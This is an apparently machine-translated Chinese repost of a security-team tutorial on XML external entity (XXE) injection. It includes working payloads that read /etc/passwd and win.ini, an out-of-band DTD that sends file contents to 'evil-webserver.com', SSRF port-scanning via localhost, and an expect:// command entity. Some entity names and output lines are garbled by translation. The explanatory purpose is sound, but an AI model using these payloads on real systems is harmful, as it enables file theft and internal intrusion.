深入了解 XXE 注射

XXE Injection 几年来一直在 OWASP 前 10 名名单上,并且经常作为 Synack Red Team (SRT) 提交的作品出现。XXE 注入不仅限于 Web 应用程序;任何有 XML 解析器(网络、主机、软件)的地方,都存在 XXE 的潜力。谷歌搜索“XXE Exploits”会返回几篇关于成功 XXE 攻击的文章,这些攻击针对的是防御良好的目标,通常会获得高额赏金。

尽管如此,XXE 似乎很少在 Web 安全课程中被教授,而被忽略了,而倾向于“更简单”的攻击,例如 CSRF 和 XSS。在我参加过的 INFOSEC 培训中,只有一门课程甚至提到了 XXE,将其称为高级漏洞利用技术。为了揭开这个漏洞的神秘面纱,我将分解 XXE 的工作原理、利用 XXE 漏洞的一些方法,并介绍 SRT 提交的两个真实世界的 XXE 攻击(使用经过编辑的数据来保护客户端和 SRT 身份)。

1. XML 及其实体

XXE 最好的部分是它是 XML 语言的完全有效的功能。这种攻击没有黑魔法,只是一个默认情况下经常启用的可滥用功能。此功能是外部实体。
要了解实体,我们必须首先查看文档类型定义 (DTD) 文件。DTD 文件是一种特殊类型的 XML 文件,其中包含有关 XML 格式或结构的信息。它们用于在不同的、单独的 XML 文件之间建立一致性。这些 DTD 文件可以包含一个称为 ENTITY 的元素。请参阅下面的 .dtd 文件示例:

<!DOCTYPE STRUCTURE [
<!ELEMENT SPECIFICATIONS (#PCDATA)>
<!ENTITY VERSION “1.1”>
<!ENTITY file SYSTEM “file:///c:/server_files/application.conf” >
]>

我们不会对 .dtd 文件的语法分心,只需了解任何引用此 .dtd 文件的 XML 都需要遵循其结构(源代码)。

其中的 ENTITY 标记只是调用 XML 文件 ( source )可以引用的特殊字符的快捷方式。请注意,最后一个 ENTITY 标记实际上是通过 SYSTEM 关键字提取本地文件的内容。

上面的 .dtd 文件可以按如下方式使用:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE foo SYSTEM “http://validserver.com/formatting.dtd”>
<specifications>&file;</specifications>

formatting.dtd使用 DOCTYPE 标记调用,XML 文件可以引用其中的 ENTITY 和结构。

实体可以在没有完整 .dtd 文件形式的情况下使用。通过调用 DOCTYPE 并使用方括号 [],您可以引用 ENTITY 标记以仅在该 XML 文件中使用。下面,在<configuration></configuration>标记中引用了application.conf文件,没有完整的 .dtd 文件来托管它:

<?xml version=”1.0″ encoding=”ISO-8859-1″?>
<!DOCTYPE example [
<!ELEMENT example ANY >
<!ENTITY file SYSTEM “file:///c:/server_files/application.conf” >
]>
<configuration>&file;</configuration>

所以概括地说:

  • DTD 文件可以在 XML 文件的外部或内部
  • 实体存在于 DTD 文件中
  • ENTITY 可以调用本地系统文件

2. 注射乐趣

当数据在 HTTP 请求中传递到服务器时,它打开了用户滥用的可能性。XML 也不例外。Web 开发人员要么信任客户端不修改代码,要么(更好的解决方案)设置控制以防止恶意修改起作用。无论 Web 开发人员的意图如何,都会发生错误,并且注入通常会在服务器上成功执行。这是一个示例,其中来自表单的数据被包装在 XML 中并发送到服务器进行处理。攻击者将:

  • 使用 Web 代理(Burpsuite、Zap 等)拦截易受攻击的 POST 请求
  • 添加注入的ENTITY标签和&xxe; 变量引用。
    • 确保 &xxe; 参考将返回和显示的数据
  • 释放截获的 POST 请求

这将导致以下精心制作的 POST 请求(注入的内容为红色):

POST /notes/savenote HTTP/1.1
用户代理:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml; q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml;charset=UTF- 8
主机:myserver.com

<?xml version=”1.0″ ?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///etc/passwd” >]>
<note>
<to>Alice</to>
<from>Bob</ from>
<header>同步会议</header>
<time>1200</time>
<body>会议时间已更改&xxe; </body>
</note>

服务器假设表单中输入了有效数据,在将 XML 数据保存到后端之前对其进行解析,并将解析后的数据与原始有效数据一起返回。在这种情况下,将显示/etc/passwd的内容。

HTTP/1.1 200 OK
Content-Type: text/xml;charset=UTF-8
Server: Microsoft-IIS/7.5
Date: Sat, 19 Apr 2019 13:08:49 GMT
Connection: close
Content-Length: 1039

注意已保存!从 Bob 到 Alice 关于 1200 的“同步会议”:会议时间已更改
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr /sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534: sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/ sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x :9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13 :proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
备份:x:34:34:backup:/var/backups:/usr/sbin/nologin
列表:x:38:38:邮件列表管理器:/var/list:/usr/sbin/nologin
irc:x:39: 39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats 错误报告系统(管理员):/var/lib/gnats:/usr/sbin/nologin
..snip …

3. 偷偷溜出乐队

所以这是一个相当人为的例子。虽然我应该注意到 Synack VulnOps 团队偶尔会看到像这样明确的 XXE,但大多数时候传递给服务器的 XML 并没有以如此有利的方式显示/返回。在 XML 可注入但未在 HTTP 响应中返回给客户端的情况下,我们转向前面提到的那些外部 .dtd 文件。DOCTYPE 对外部 .dtd 文件的引用使我们能够完全带外地进行这种攻击。

我们将修改前面的示例以反映这一点。为了多样化,我们还将假装这是一个 Windows 服务器。在前面的示例中,对文件的 ENTITY 引用保存到 xxe 变量中,该变量在表单中被引用。在此示例中,ENTITY 引用用于我们的外部服务器https://evil-webserver.com:

POST /notes/savenote HTTP/1.1
用户代理:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml; q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml;charset=UTF- 8.
主机:myserver.com

<?xml version=”1.0″ ?>
<!DOCTYPE hack [
<!ELEMENT x ANY >
<!ENTITY % alpha SYSTEM “https://evil-webserver.com/payload.dtd”>
%alpha;
%好极了;
]>
<x>&charlie;</x>

<note>
<to>Alice</to>
<from>Bob</from>
<header>同步会议</header>
<time>1200</time>
<body>会议时间已更改</body>
</note>

外部payload.dtd包含以下内容:

<?xml version=”1.0″ encoding=”utf-8″ ?>
<!ENTITY % data SYSTEM “file:///c:/windows/win.ini”>
<!ENTITY % bravo “<!ENTITY % charlie SYSTEM
'https://evil-webserver.com/?%data;'>”>

请注意,file:///c:/windows/win.ini包含在 .dtd 文件中,而不是在注入的 XXE 代码中。这是一个隐秘的举动,允许我们隐藏我们试图从服务器访问日志中提取的文件。

因此,一般而言,此代码按以下步骤执行:

 

  • 客户端使用注入的 XML 代码发送 POST 请求
    • 服务器通过XML解析器从上到下解析XML,到达注入的“”ENTITY
  • 服务器从https://evil-webserver.com请求payload.dtd
  • https://evil-webserver.compayload.dtd响应
  • payload.dtd中的代码由 XML 解析器解析,该解析器读取 win.ini 的内容并将其作为 HTTP GET 请求中的参数发送回https://evil-webserver.com

攻击者可以在其 Web 服务器日志中查看这些提取的数据。

旁注:如果此示例中的各种 alpha/bravo/charlie 变量引用令人困惑,请了解执行相同 XXE 攻击的各种方法,每种方法都是为了绕过 Web 过滤器或安抚挑剔的 XML 解析器。可以在 GitHub 上找到一些不同的变体感谢 staaldraad)。

4. 通过 SOAP

举个例子,我们曾经收到的一份提交(敏感信息为客户和研究人员的隐私而编辑)。一位 SRT 成员发现了一个提供大量 SOAP API 方法的 Web 服务。SOAP(简单对象访问协议)是一种允许众多不同应用程序/元素相互通信的通信结构。对我们来说更重要的是,它也是 XML 结构的,这使得它可能容易受到 XXE 的攻击。

在这种情况下,各种 API 方法都有可能包含注入的 ENTITY 标记的<XMLData>部分。因此,向/ConductOrders.asmx端点发出以下 POST 请求会向攻击者的 Web 服务器生成请求:

结果,服务器将获取外部 dtd http://evil-webserver/data.xml的内容

 

此 XML 代码将指示 XML 解析器将请求中本地c:\windows\win.ini文件的内容发送到攻击者服务器,所有这一切都通过将 charlie 变量附加到请求的末尾,使其在攻击者的服务器日志:

 

就这样,Web 服务器可以读取的任何本地文件都是他可以窃取的。

注意:权限在此攻击中很重要。如果 web 服务器(或 www-data 用户)没有权限,它不会返回文件。这就是我们在这些概念证明 (PoC) 中使用/etc/passwd而不是/etc/shadow的原因。

5.与XXE侦察

与许多漏洞一样,当您开始将 XXE 与其他漏洞链接起来时,它会变得更加有趣。XXE 获得本地文件披露 (LFD) 作为 PoC 很有用,但真正的攻击者可能希望使用 XXE 做更多的事情,而不仅仅是读取本地文件(特别是因为这种攻击受到 Web 服务器权限的限制)。由于 XXE 指示服务器代表它执行某些操作,因此攻击者可以使用它来映射内部主机和/或端口,方法是使用 XML 解析器执行服务器端请求伪造 (SSRF)。这样的 XXE + SSRF 提交去年遇到了我们的队列。此特定漏洞被用于 JAMF 软件,该软件具有基于 XML 的协议,如 SOAP,使其可能易受 XXE 攻击。

 

注意第二个 XML 行,用红色标出,<!DOCTYPE dtd SYSTEM “https://127.0.0.1:445”>

该研究人员没有像前面的示例那样调用外部 DTD 或本地文件,而是指示服务器在指定端口上调用其 localhost (127.0.0.1)。如果端口打开,服务器会快速响应。如果端口关闭,服务器将响应 ICMP Port Unreachable 消息,这需要时间,因为套接字会尝试重新协商握手。在这种情况下,有效端口和无效端口之间的不同响应时间足以盲目映射内部主机的端口。在 burp intruder 中扩展同样的攻击会导致以下结果:

 

您可以看到端口号 21、22、23 和 443 返回的响应时间明显更长,这表明内部端口无效。从这次攻击中,SRT 得出结论,端口 80、445 和 8443 可以在内部访问。其中,445 端口特别受关注,因为它不能被 Internet 公开访问,提供了一个独特的攻击面。如果更进一步,这种 SSRF 漏洞利用可以测试内部主机,提供一种映射 Web 服务器可访问的私有 Intranet 端点的方法。

 

6. 最后的想法

XXE Injection 可以是应用程序允许的简单或复杂的。Google 可以快速向您展示各种高级 XXE 攻击向量的示例。Billion Laughs 攻击会将 XXE 转变为拒绝服务 (DoS)。更糟糕的是,安装 PHP Expect 模块可能会导致代码执行来自 XXE 攻击 ( <!ENTITY rce SYSTEM “expect://ifconfig” > )。
存在针对 XXE 的防御(OWASP 在此处有一个列表),但归根结底,这是针对弱配置 XML Parser 的漏洞。XXE 不是 XML 中可以修补的缺陷,而是对应用程序的利用,在该应用程序中它被无意或未经清理的启用。归根结底,这是一种很大程度上取决于人为错误的攻击,这意味着它会一直存在。

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值